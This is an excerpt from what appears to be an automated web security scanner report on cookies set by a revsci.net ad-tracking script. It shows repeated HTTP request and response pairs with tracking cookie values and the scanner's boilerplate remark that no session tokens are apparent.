/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/410748832.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk3ckvYdU+ser9duzVms/e5MT; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:01 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6495&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:01 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:00 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/449293090.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCVyCyiOI0VkRNa9Q=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:44 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6484&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:44 GMT; Path=/ X-Proc-ms: 0 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:44 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/536378960.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69ODFkGTSOM1VkQHa9E=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:19 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98af&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:19 GMT; Path=/ X-Proc-ms: 9 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:18 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/555347891.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCV+ETiSM1VkRda9U=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:53 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e648d&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:53 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:52 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/591799300.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 